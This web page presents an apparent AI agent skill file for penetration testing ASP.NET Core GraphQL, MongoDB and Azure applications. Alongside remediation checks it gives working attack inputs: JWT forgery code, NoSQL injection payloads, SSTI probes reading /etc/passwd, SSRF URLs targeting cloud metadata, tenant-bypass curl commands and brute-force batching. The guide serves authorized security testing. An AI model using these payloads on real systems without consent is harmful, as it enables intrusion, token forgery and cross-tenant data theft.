Skip to content
penetration-tester logo

Penetration Tester

penetration-tester

Use this skill when performing security assessments, penetration testing, vulnerability analysis, or threat modeling on web applications, APIs, or cloud infrastructure. Triggers on: penetration test, pentest, security audit, vulnerability scan, exploit, attack surface, OWASP, injection, XSS, CSRF...

SKILL.md

Full skill instructions

Penetration Tester

Perform systematic security assessments of ASP.NET Core web applications with GraphQL APIs (HotChocolate), MongoDB, Azure cloud infrastructure, and multi-tenant architectures. Focus on actionable techniques, tool usage, and stack-specific attack vectors.

Scope: Offensive security testing and vulnerability identification. For secure coding practices during development, refer to general security guidelines. Always obtain explicit authorization before testing.

Methodology

Follow a structured phase-based approach for every engagement:

PhaseActivities
1. ReconnaissanceMap attack surface, enumerate endpoints, identify tech stack
2. EnumerationDiscover schemas, tenant boundaries, auth mechanisms
3. Vulnerability AnalysisTest each attack vector systematically
4. ExploitationDevelop PoCs for confirmed vulnerabilities
5. Post-ExploitationAssess impact, lateral movement, data exposure
6. ReportingDocument findings with severity, evidence, remediation

Attack Surface Mapping

GraphQL Endpoint Discovery

# Common GraphQL endpoint paths
/​graphql
/​graphql/
/​api/​graphql
/​query
/​gql

# Probe for GraphQL with a simple query
curl -X POST https://target/​graphql \
  -H "Content-Type: application/​json" \
  -d '{"query": "{ __typename }"}'

Technology Fingerprinting

Identify HotChocolate-specific responses:

# HotChocolate returns specific error formats
curl -X POST https://target/​graphql \
  -H "Content-Type: application/​json" \
  -d '{"query": "{ invalid }"}' | jq '.errors[0].extensions'

# Look for: "code": "HC0013" patterns (HotChocolate error codes)
# Banana Cake Pop IDE typically at /​graphql/​ui or /​graphql/

GraphQL Security Testing

Introspection Attacks

# Full schema introspection — extract all types, fields, mutations
{
  __schema {
    types {
      name
      fields {
        name
        type { name kind ofType { name } }
        args { name type { name } }
      }
    }
    mutationType { fields { name } }
    queryType { fields { name } }
  }
}

Impact: Exposes entire API surface, internal types, and field names. In production, introspection should be disabled.

HotChocolate-specific: Check AllowIntrospection setting. Default is enabled — many deployments forget to disable it.

Query Depth & Complexity Attacks (DoS)

# Deep nesting attack — circular references
{
  user {
    contracts {
      owner {
        contracts {
          owner {
            contracts {
              # ... nest until server exhaustion
            }
          }
        }
      }
    }
  }
}
# Field duplication via aliases
{
  a1: users(first: 100) { id name }
  a2: users(first: 100) { id name }
  a3: users(first: 100) { id name }
  # ... repeat N times to amplify load
}

HotChocolate mitigations to verify:

  • MaxAllowedQueryDepth — reject deeply nested queries
  • MaxAllowedQueryComplexity — cost-based analysis
  • Timeout — execution timeout
  • MaxAllowedValidationErrors — prevent validation flooding

Batching Attacks

[
  {"query": "mutation { login(email: \"[email protected]\", password: \"pass1\") { token } }"},
  {"query": "mutation { login(email: \"[email protected]\", password: \"pass2\") { token } }"},
  {"query": "mutation { login(email: \"[email protected]\", password: \"pass3\") { token } }"}
]

Impact: Bypass rate limiting by batching many operations into a single HTTP request. Effective for brute-force attacks on login mutations.

Field Suggestion Information Disclosure

# Typo-based enumeration — HotChocolate suggests similar field names
{ user { passwor } }
# Response: "Did you mean 'password', 'passwordHash'?"

Systematically query misspelled fields to discover hidden or internal fields.

Authorization Bypass on Resolvers

# Test direct access to resources without proper authorization
query {
  contractById(id: "target-contract-id") {
    sensitiveField
    internalNotes
    ownerDetails { socialSecurityNumber }
  }
}

# Test TypeExtensions — child resolvers may lack parent authorization
query {
  publicEntity(id: "known-id") {
    restrictedChildData {  # May bypass auth if only parent is checked
      confidentialField
    }
  }
}

HotChocolate-specific checks:

  • Verify [Authorize] attribute on mutations AND query resolvers
  • Check TypeExtension resolvers — they often miss authorization
  • Test with expired, malformed, or missing JWT tokens
  • Verify role/​policy checks on each resolver independently

Authentication & Authorization Testing

JWT/​OAuth2 Token Attacks

# Decode JWT without verification
echo "eyJhbG..." | cut -d. -f2 | base64 -d | jq .

# Check for common JWT weaknesses
# 1. Algorithm confusion — change RS256 to HS256
# 2. Missing expiration (exp claim)
# 3. Weak signing key (brute-force with jwt-cracker)
# 4. None algorithm acceptance
# JWT algorithm confusion attack
import jwt

# Grab the public key (often exposed at /​.well-known/​openid-configuration)
public_key = open("public.pem").read()

# Sign with HS256 using the public key as secret
forged_token = jwt.encode(
    {"sub": "admin", "role": "admin", "tenant": "primary"},
    public_key,
    algorithm="HS256"
)

Tenant Isolation Bypass

Multi-tenant systems using X-Tenant-Id headers are vulnerable to tenant crossover attacks:

# Step 1: Authenticate as Tenant A
TOKEN_A=$(curl -s -X POST https://auth/​oauth/​token \
  -d "grant_type=client_credentials&scope=api.notification.access notification.tenant.tenantA" \
  | jq -r '.access_token')

# Step 2: Use Tenant A's token with Tenant B's header
curl -X POST https://target/​graphql \
  -H "Authorization: Bearer $TOKEN_A" \
  -H "X-Tenant-Id: tenantB" \
  -H "Content-Type: application/​json" \
  -d '{"query": "{ sensitiveData { id content } }"}'

# Step 3: Omit tenant header entirely — check for default tenant fallback
curl -X POST https://target/​graphql \
  -H "Authorization: Bearer $TOKEN_A" \
  -d '{"query": "{ allTenantData { id } }"}'

Validation checklist:

  • Token scope (notification.tenant.{id}) must match X-Tenant-Id header
  • Missing header must be rejected (not default to a tenant)
  • Tenant ID in token must be validated server-side, not trusted from header alone
  • Data queries must filter by authenticated tenant — never return cross-tenant data

Scope Escalation

# Request broader scopes than authorized
curl -X POST https://auth/​oauth/​token \
  -d "client_id=app&client_secret=secret&grant_type=client_credentials" \
  -d "scope=api.notification.access notification.tenant.tenantA notification.tenant.tenantB"

# Test if token with one tenant scope can access another tenant's resources

Injection Attacks

MongoDB NoSQL Injection

// Authentication bypass via operator injection
{"username": "admin", "password": {"$ne": ""}}
{"username": "admin", "password": {"$gt": ""}}

// Data extraction via regex
{"username": "admin", "password": {"$regex": "^a"}}
{"username": "admin", "password": {"$regex": "^ab"}}
// Iterate to extract password character by character

// Where clause injection (if raw JS evaluation is enabled)
{"$where": "this.username == 'admin' && this.password.length > 0"}
// Vulnerable pattern in C# MongoDB driver
var filter = Builders<User>.Filter.Eq("username", userInput);
// If userInput is deserialized from JSON as BsonDocument, operators pass through

// Safe pattern — use typed builders
var filter = Builders<User>.Filter.Eq(u => u.Username, userInput);
// Typed lambda expressions prevent operator injection

MongoDB-specific checks:

  • Test all query parameters for operator injection ($ne, $gt, $regex, $where, $exists)
  • Check if BsonDocument or raw JSON is used in filter construction
  • Verify aggregation pipelines don't accept user-controlled stages
  • Test $lookup for cross-collection data access

Server-Side Template Injection (SSTI) — Handlebars

Templates (body.hbs.html) are processed server-side with HandlebarsDotNet (C#). Unlike JavaScript Handlebars, HandlebarsDotNet does not expose require() or prototype chains — standard JS SSTI payloads will not work.

HandlebarsDotNet attack surface:

  • Custom helpers — check for registered helpers that execute code, read files, or access system resources
  • ThrowOnUnresolvedBindingExpression — if disabled, unresolved bindings silently return empty (information leakage)
  • Template source — are templates loaded from trusted blob storage only, or can users inject template content?
  • Data context — verify user-supplied data cannot override template structure or inject helper calls

Key distinction: If only data (placeholder values) comes from users but template files come from blob storage, SSTI risk is low. If users can influence template content, risk is critical.

Test vectors:

{{! Probe for custom helpers }}
{{exec "whoami"}}
{{file "/​etc/​passwd"}}
{{lookup this "constructor"}}
{{#each (lookup this "__proto__")}}{{{this}}}{{/​each}}

SSRF via URL Validation

Templates contain URLs that get validated (see validate_urls.prompt.md). If URL resolution happens server-side:

# Internal network scanning
https://target/​api/​validate-url?url=http://169.254.169.254/​latest/​meta-data/
https://target/​api/​validate-url?url=http://localhost:8080/​internal-admin
https://target/​api/​validate-url?url=http://10.0.0.1:27017/

# Azure Instance Metadata Service (IMDS)
http://169.254.169.254/​metadata/​instance?api-version=2021-02-01
# Header: Metadata: true

Azure Cloud Security

Blob Storage Exposure

# Check for public container access
curl -s "https://{account}.blob.core.windows.net/​templates?restype=container&comp=list"
curl -s "https://{account}.blob.core.windows.net/​content?restype=container&comp=list"

# Enumerate blob names if listing is enabled
curl -s "https://{account}.blob.core.windows.net/​templates?restype=container&comp=list&prefix=EMAIL/"

# Test for overly permissive SAS tokens
# Check token permissions: r(ead), w(rite), d(elete), l(ist)
# Check token expiry — long-lived SAS tokens are a finding

Template-specific checks:

  • Template blob storage containers per tenant (ContainerName = "templates")
  • Content storage containers (ContainerName = "content")
  • Verify DefaultAzureCredential is used (not connection strings in code)
  • Check if blob container public access level is set to Private

Azure Key Vault

# Check if Key Vault secrets are accessible with current identity
az keyvault secret list --vault-name {vault-name}
az keyvault secret show --vault-name {vault-name} --name {secret-name}

# Configuration paths like "Tenants:Primary:SendGrid:ApiKey" resolve to Key Vault
# Verify: secrets are not logged, not in environment variables, not in appsettings

Azure Service Bus

# Check for shared access policies with overly broad permissions
az servicebus namespace authorization-rule list --namespace-name {ns} --resource-group {rg}

# Verify: Manage/​Send/​Listen permissions are properly scoped
# Check: dead-letter queues for sensitive message content

API Security Testing

CORS Misconfiguration

# Test for wildcard or overly permissive origins
curl -I https://target/​graphql \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: POST"

# Check response headers
# Vulnerable: Access-Control-Allow-Origin: https://evil.com
# Vulnerable: Access-Control-Allow-Origin: *
# Vulnerable: Access-Control-Allow-Credentials: true (with wildcard)

Rate Limiting Gaps

# Test endpoint rate limits
for i in $(seq 1 100); do
  curl -s -o /​dev/​null -w "%{http_code}" https://target/​graphql \
    -H "Content-Type: application/​json" \
    -d '{"query": "{ __typename }"}' &
done
wait

# GraphQL-specific: single request with 100 aliased queries bypasses per-request limits
# Test if complexity-based limiting is enforced vs. request-count limiting

Information Disclosure

# Check error responses for stack traces, internal paths, versions
curl -X POST https://target/​graphql \
  -H "Content-Type: application/​json" \
  -d '{"query": "{ __type(name: \"nonexistent\") { name } }"}'

# Check common info endpoints
curl https://target/​health
curl https://target/​metrics
curl https://target/​swagger
curl https://target/​.well-known/​openid-configuration
curl https://target/​graphql/​ui  # Banana Cake Pop IDE

HotChocolate-specific: Production should disable detailed error messages (IncludeExceptionDetails = false).

IDOR (Insecure Direct Object Reference)

# Enumerate resources by manipulating IDs
query { documentById(id: "doc-001") { content owner } }
query { documentById(id: "doc-002") { content owner } }

# Test GUID prediction if sequential
query { contractById(id: "550e8400-e29b-41d4-a716-446655440000") { ... } }

# Check if tenant-scoped queries enforce ownership
mutation {
  updateContract(input: {
    id: "other-users-contract-id"
    data: { status: ACTIVE }
  }) { contract { id } }
}

Tools

GraphQL-Specific

ToolPurpose
InQLBurp extension for GraphQL testing
graphql-copAutomated GraphQL security auditor
BatchQLBatch query attack tool
graphw00fGraphQL engine fingerprinting
CrackQLGraphQL brute-force / fuzzing
ClairvoyanceSchema extraction without introspection

General & Cloud

Burp Suite, OWASP ZAP (web scanning), Nuclei (template-based scanning), ffuf (fuzzing), sqlmap (SQL injection), jwt_tool (JWT attacks), az cli (Azure enumeration), ScoutSuite / Prowler (cloud security auditing), MicroBurst (Azure attack toolkit).

Reporting

Severity Classification (CVSS 3.1)

SeverityCVSS ScoreExample
Critical9.0 – 10.0Tenant isolation bypass with full data access, RCE via SSTI
High7.0 – 8.9Authentication bypass, unrestricted NoSQL injection, SSRF to IMDS
Medium4.0 – 6.9IDOR on non-sensitive data, CORS misconfiguration, introspection enabled
Low0.1 – 3.9Information disclosure in errors, missing security headers
Info0.0Best practice deviations without direct security impact

Finding Template

Structure each finding as: Title → CVSS Score + Vector → Description → Affected Component → Steps to Reproduce (with exact requests/​responses) → Evidence → Impact → Remediation (with code examples) → References (CVE, CWE, OWASP).

OWASP Top 10 Checklist (Web Application Focus)

#CategoryStack-Specific Checks
A01Broken Access ControlResolver-level auth, tenant isolation, IDOR on GraphQL queries
A02Cryptographic FailuresKey Vault usage, connection string exposure, TLS enforcement
A03InjectionNoSQL injection (MongoDB), SSTI (Handlebars), GraphQL query injection
A04Insecure DesignMissing query depth limits, no rate limiting on mutations
A05Security MisconfigurationIntrospection enabled, detailed errors, public blob containers
A06Vulnerable ComponentsNuGet/​npm dependency scanning, known CVEs
A07Auth FailuresJWT validation, OAuth scope enforcement, session management
A08Data Integrity FailuresUnsigned messages on Service Bus, template tampering
A09Logging FailuresSensitive data in logs, missing auth event logging
A10SSRFURL validation endpoints, webhook callbacks, template URL processing

More Security skills

supabase logo
Security

supabase

Handles the full Supabase workflow from schema changes to deployment, with built-in security guardrails that catch common traps like RLS...

2.7K 308.9K
View

Comprehensive guides and best practices for Neon Serverless Postgres, covering setup, connection methods, authentication, and platform APIs.

98 216.2K
View

Guide for setting up and using Firebase Authentication. Use this skill when the user's app requires user sign-in, user management, or secure data access using auth rules.

462 163.8K
View

A skill to evaluate how secure Firestore security rules are. Use this when Firestore security rules are updated to ensure that the generated rules are extremely secure and robust.

462 127.7K
View

Official skill for integrating Firebase AI Logic (Gemini API) into web applications. Covers setup, multimodal inference, structured output, and security.

462 125.1K
View

Complete Better Auth server and client setup with database adapters, session management, plugins, and security configuration.

222 118.2K
View

Deploy and manage projects on Vercel using token-based authentication. Use when working with Vercel CLI using access tokens rather than interactive login — e.g. "deploy to vercel", "set up vercel", "add environment variables to vercel".

31.9K 116.1K
View
cloudflare logo
Security

cloudflare

Complete Cloudflare platform integration with decision trees for compute, storage, AI, networking, security, and infrastructure-as-code.

3K 110.7K
View

Run Azure compliance and security audits with azqr plus Key Vault expiration checks. Covers best-practice assessment, resource review, policy/compliance validation, and security posture checks. WHEN: compliance scan, security audit, BEFORE running azqr (compliance cli tool), Azure best practices, Key Vault expiration check, expired certificates, expiring secrets, orphaned resources, compliance assessment.

253 103K
View
gws-gmail logo
Security

gws-gmail

Send, read, and manage Gmail messages, drafts, labels, and account settings.

31.2K 78.9K
View

Comprehensive website auditing across 230+ rules in 21 categories including SEO, performance, security, and accessibility.

94 72.3K
View
gws-shared logo
Security

gws-shared

Shared authentication, CLI syntax, and output formatting patterns for gws Google Workspace commands.

31.2K 63.4K
View

Security AI tools

StarByFace logo
Security

StarByFace

Discover your celebrity doppelgänger with StarByFace!

Free
View
GeoSpy logo
Security

GeoSpy

GeoSpy: Pricing, Features, FAQs, and Alternatives for AI Teams

Free
View

Detect AI-generated voices to protect against audio fraud.

Paid
View

Ensure Your Content's Originality with AI Plagiarism Checker

Freemium
View
Img Upscaler logo
Security

Img Upscaler

Upscale images by 400% without quality loss

Freemium
View
AICheatCheck logo
Security

AICheatCheck

Accurately Detect AI-Generated Content with TheChecker.AI

Free
View
D
Security

Detect GPT

Chrome extension that detects and flags AI-generated content

Free
View